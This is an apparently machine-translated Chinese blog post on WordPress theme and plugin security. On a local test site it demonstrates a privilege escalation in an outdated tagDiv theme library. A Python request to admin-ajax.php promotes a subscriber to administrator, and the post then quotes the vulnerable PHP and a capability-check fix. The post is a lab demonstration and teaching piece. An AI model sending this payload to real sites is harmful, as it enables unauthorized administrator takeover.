这个问题经常在论坛上提出,而且我也经常被问到。首先,让我们考虑以下内容:没有100%安全。不是一个应用程序,尤其是在互联网上。
现在,我们知道基础知识,让我们仔细研究WordPress生态系统。 WP以此为核心,非常安全。如果您设置了新的安装,请使用库存主题,并且不会安装任何插件,则可以将其视为安全的地方。当您想为主题或插件添加一些光泽或功能时,就会出现麻烦。
为什么?好吧,WordPress团队通过保护和监视其代码来表现出色(同样,它不是100%安全的,有时甚至在核心代码中也会发现漏洞,但它发生越来越少)。相反,每个插件/主题团队都负责自己的产品。在这种情况下,“团队”可以是1个人或100人 - 这取决于
。再次,有许多因素影响第三方脚本安全性,不仅是支持该产品的人数。为了说明问题,请看一下here-这是在不同数字软件中发现的公共漏洞数据库。他们中的大多数现在都已修补,但只需查看我们每天使用的软件中显示了多少个安全缺陷!
说明这不是一个笑话(谁知道,也许Cvedetails使用了错误的信息?),应该认真对待信息安全性,我发现了该主题的过时版本,这对网站I mentioned上的错误很容易受到影响。 。
从详细信息中看到,该错误已在2.7+版本中固定,因此我发现了Tagdiv库v2.5,安装了Fresh WP和脆弱的主题。 CVE详细信息告诉我们,(如果我们要处理旧版本),我们可以将任意用户成为网站管理员。让我们检查一下!
首先,我创建了一个名为“ Test”的新用户,并将其设置为“订户”角色。您可以在屏幕截图中看到它:
现在,让我们使用Python根据CVE详细信息发送请求:
import requests
r = requests.post('http://vsite.local/wp-admin/admin-ajax.php', data={'action': 'tdb_user_form_on_submit', 'userID': 2, 'formElements': json.dumps({"content-fields":[{"name":"wp_capabilities","value":{"administrator":True}}]}) })
我们使用USERID 2,因为我的新用户具有ID 2,并且我们告诉WP我们要更新指定用户的功能并将其推广为管理员。
让我们检查回答:
print(r.content)
b'{"success":"Your profile information has been successfully updated.","errors":[]}'
所以,让我们来吧...是的!用户现在为管理!哇!
为什么会发生?
好吧,首先,在插件代码中使用的$ user_id变量未检查恶意输入,其次,该代码没有检查提出请求的用户是否能够促进其他用户:
$user_id = $_POST['userID'];
$form_elements = json_decode(str_replace('\\', "", $_POST['formElements']), true);
//...
$user_obj = get_user_by('ID', $user_id);
//..
if( !$user_obj ) {
$reply['errors'][] = 'An unexpected error has occured. Please try again.';
} else {
// Handle the content fields
if( isset( $form_elements['content-fields'] ) && !empty( $form_elements['content-fields'] ) ) {
$content_fields = $form_elements['content-fields'];
foreach ( $content_fields as $content_field ) {
update_user_meta($user_id, $content_field['name'], $content_field['value'] );
}
//rest of the code
}
}
修复?
最有趣的部分是,可以通过在进一步发展之前检查用户角色(字面线 +形成响应),可以很容易地修复此代码:
if ( !current_user_can( 'manage_options' ) ) {
$reply['errors'][] = 'Not enough permissions!';
die( json_encode( $reply ) );
}
$user_id = $_POST['userID'];
//... rest of the code
这只是许多问题。当然,并非所有的问题都是危险的,但是任何安全缺陷,甚至是一个很小的漏洞都会影响该品牌的声誉。因此,关注软件更新非常重要。虽然WP Core足够安全,但应定期监控主题和插件。